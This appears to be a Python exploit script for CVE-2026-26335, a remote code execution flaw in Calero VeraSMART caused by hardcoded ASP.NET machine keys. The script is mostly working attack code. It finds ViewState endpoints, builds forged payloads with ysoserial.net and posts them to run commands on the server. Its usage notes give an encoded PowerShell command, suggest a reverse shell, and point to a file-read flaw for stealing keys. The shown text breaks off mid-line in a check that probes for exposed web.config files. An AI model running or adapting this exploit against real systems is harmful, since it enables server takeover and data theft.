#!/usr/bin/env python3 # Exploit Title: Calero VeraSMART < 2022 R1 - ASP.NET ViewState Deserialization RCE via Static MachineKey # Date: 2026-02-13 # Exploit Author: Mohammed Idrees Banyamer # Vendor Homepage: https://www.calero.com/ # Software Link: https://www.calero.com/verasmart/ # Version: VeraSMART < 2022 R1 # Tested on: Windows Server 2019 / IIS 10 / ASP.NET 4.8 # CVE: CVE-2026-26335 # Advisory: https://www.vulncheck.com/advisories/calero-verasmart-2022-r1-static-iis-machine-keys-enable-viewstate-rce # CVSS: 9.8 (Critical) # # Description: # Calero VeraSMART versions prior to 2022 R1 use hardcoded ASP.NET MachineKey # values (CWE-321). Because the validationKey and decryptionKey are static # across installations, an attacker can forge a valid ASP.NET ViewState payload. # By generating a signed and encrypted ViewState using ysoserial.net and the # known machine keys, remote code execution can be achieved via unsafe # deserialization in the ASP.NET ViewState processing pipeline. # # This exploit automates: # - Discovery of ViewState-enabled endpoints # - Extraction of __VIEWSTATEGENERATOR # - Support for ViewStateUserKey (if present) # - ysoserial ViewState payload generation # - Delivery of malicious ViewState to target endpoint # # Successful exploitation results in arbitrary command execution in the IIS # application pool context. # # Usage: # python3 exploit.py -t https://target -vk -dk # # Examples: # python3 exploit.py -t https://192.168.1.10 \ # -vk 3A3E9D7B8F2C4E6A1B5C8D9E0F2A4B6C8D0E2F4A6B8C0D2E4F6A8B0C2D4E6F8 \ # -dk F4E5D6C7B8A9F0E1D2C3B4A5F6E7D8C9 \ # -c "whoami" # # python3 exploit.py -t https://target \ # -vk -dk \ # -c "powershell -c calc" # # Options: # -t, --target Target base URL (required) # -vk, --validationkey ASP.NET validationKey from web.config (required) # -dk, --decryptionkey ASP.NET decryptionKey from web.config (required) # -c, --command Command to execute (default: whoami) # -e, --endpoint Specific ASPX endpoint (optional) # -g, --generator __VIEWSTATEGENERATOR value (optional) # --ysoserial Path to ysoserial.exe (default: ./ysoserial.exe) # --proxy HTTP proxy (optional) # -v, --verbose Verbose output # --check-only Only check vulnerability # # Notes: # - Requires ysoserial.net (ViewState mode) # - Target must use static MachineKey (VeraSMART < 2022 R1) # - ViewState MAC must be enabled # - MachineKey values must match target installation # # How to Use # # Step 1: Prepare the tools # # # Download ysoserial.net # wget https://github.com/pwntester/ysoserial.net/releases/latest/download/ysoserial.exe # # # Save this exploit code as exploit.py # # # Step 2: Obtain the Machine Keys # # Critical Note: The keys shown in examples are placeholders only. # Real VeraSMART machineKey values are NOT public and must be obtained # from the target installation. # # Default location on VeraSMART systems: # # C:\Program Files (x86)\Veramark\VeraSMART\WebRoot\web.config # # or via the related file‑read vulnerability CVE‑2026‑26333. # # # Step 3: Run the exploit # # # Check vulnerability only # python3 exploit.py -t https://target-ip -vk YOUR_VALIDATION_KEY -dk YOUR_DECRYPTION_KEY --check-only -v # # # Execute whoami # python3 exploit.py -t https://target-ip -vk YOUR_VALIDATION_KEY -dk YOUR_DECRYPTION_KEY -c "whoami" # # # Use specific endpoint # python3 exploit.py -t https://target-ip -vk KEY -dk KEY -e /Login.aspx -c "powershell -enc ZQBjAGgAbwAgAEgAYQBjAGsAZQBkAA==" # # # Debug via proxy (Burp/ZAP) # python3 exploit.py -t https://target-ip -vk KEY -dk KEY --proxy http://127.0.0.1:8080 -v # import requests import argparse import base64 import subprocess import tempfile import os import re import sys import urllib3 from urllib.parse import urljoin urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) class VeraSMARTExploit: def __init__(self, target_url, validation_key, decryption_key, validation_alg="SHA1", decryption_alg="AES", ysoserial_path="./ysoserial.exe", verbose=False): self.target_url = target_url.rstrip('/') self.validation_key = validation_key self.decryption_key = decryption_key self.validation_alg = validation_alg self.decryption_alg = decryption_alg self.ysoserial_path = ysoserial_path self.verbose = verbose self.session = requests.Session() self.session.headers.update({ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Content-Type': 'application/x-www-form-urlencoded' }) self.session.verify = False self.vulnerable_endpoints = [ '/default.aspx', '/Login.aspx', '/VeraSMART/Login.aspx', '/VeraSMART/default.aspx', '/Account/Login.aspx', '/Reports/ViewReport.aspx', '/Admin/Configuration.aspx' ] def log(self, message): if self.verbose: print(f"[*] {message}") def find_vulnerable_endpoint(self): self.log("Scanning for vulnerable endpoints...") for endpoint in self.vulnerable_endpoints: url = urljoin(self.target_url, endpoint) try: response = self.session.get(url, timeout=10) if '__VIEWSTATE' in response.text: self.log(f"Found ViewState at: {endpoint}") generator_match = re.search( r'id="__VIEWSTATEGENERATOR".*?value="([^"]+)"', response.text ) generator = generator_match.group(1) if generator_match else None userkey_match = re.search( r'ViewStateUserKey.*?value="([^"]+)"', response.text, re.IGNORECASE ) userkey = userkey_match.group(1) if userkey_match else None if generator: self.log(f"Found VIEWSTATEGENERATOR: {generator}") if userkey: self.log(f"Found ViewStateUserKey: {userkey}") return endpoint, generator, userkey except requests.exceptions.RequestException as e: self.log(f"Error checking {endpoint}: {str(e)}") continue return None, None, None def generate_ysoserial_payload(self, command, generator, path=None, apppath="/", userkey=None): self.log(f"Generating payload for command: {command}") if not os.path.exists(self.ysoserial_path): print("[!] ysoserial.exe not found at:", self.ysoserial_path) print("[!] Download from: https://github.com/pwntester/ysoserial.net") return None cmd = [ self.ysoserial_path, "-p", "ViewState", "-g", "TypeConfuseDelegate", "-c", command, "--validationalg=" + self.validation_alg, "--validationkey=" + self.validation_key, ] if self.decryption_key and self.decryption_alg: cmd.append("--decryptionalg=" + self.decryption_alg) cmd.append("--decryptionkey=" + self.decryption_key) if generator: cmd.append("--generator=" + generator) else: if path: cmd.append("--path=" + path) cmd.append("--apppath=" + apppath) if userkey: cmd.append("--viewstateuserkey=" + userkey) self.log("Executing: " + " ".join(cmd)) try: result = subprocess.run( cmd, capture_output=True, text=True, timeout=30 ) if result.returncode != 0: print("[!] ysoserial error:", result.stderr) return None payload = result.stdout.strip() if payload and len(payload) > 100: self.log(f"Payload generated successfully ({len(payload)} chars)") return payload else: print("[!] Generated payload too short or invalid") return None except subprocess.TimeoutExpired: print("[!] ysoserial execution timed out") return None except Exception as e: print(f"[!] Error running ysoserial: {str(e)}") return None def exploit(self, command, endpoint=None, generator=None, userkey=None): print("[+] Starting CVE-2026-26335 exploitation") if not endpoint: endpoint, generator, userkey = self.find_vulnerable_endpoint() if not endpoint: print("[-] No vulnerable endpoint found. Trying default: /default.aspx") endpoint = "/default.aspx" print(f"[*] Generating payload for endpoint: {endpoint}") path = endpoint if not generator else None payload = self.generate_ysoserial_payload( command=command, generator=generator, path=path, userkey=userkey ) if not payload: print("[-] Failed to generate payload") return False url = urljoin(self.target_url, endpoint) print(f"[*] Sending payload to {url}") data = { '__VIEWSTATE': payload, '__VIEWSTATEGENERATOR': generator if generator else '', } if 'Login' in endpoint: data['__EVENTVALIDATION'] = '' data['btnLogin'] = 'Login' data['UserName'] = 'admin' data['Password'] = 'anything' try: response = self.session.post(url, data=data, timeout=30) print(f"[+] Request sent. Status code: {response.status_code}") success_indicators = [ "The state information is invalid for this page", "500 Internal Server Error", "Exception of type", "System.Web.HttpException" ] for indicator in success_indicators: if indicator in response.text: print(f"[!] Server responded with: {indicator}") print("[+] This INDICATES the payload was processed!") break if command in response.text: print("\n[!!!] COMMAND OUTPUT DETECTED IN RESPONSE!") print("="*50) print(response.text[:500]) print("="*50) elif response.status_code == 500: print("[*] Server returned 500 - This often means the payload executed") print("[*] Check for out-of-band callback or use a reverse shell") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {str(e)}") return False def check_vulnerability(self): print("[*] Checking target vulnerability...") config_paths = [ '/web.config', '/VeraSMART/web.config', '/WebRoot/web.config', '/App_Data/web.config' ] for path in config_paths: url = urljoin(self.target_url, path) try: response = self.session.get(url, timeout=5) if response.status_code == 200 and '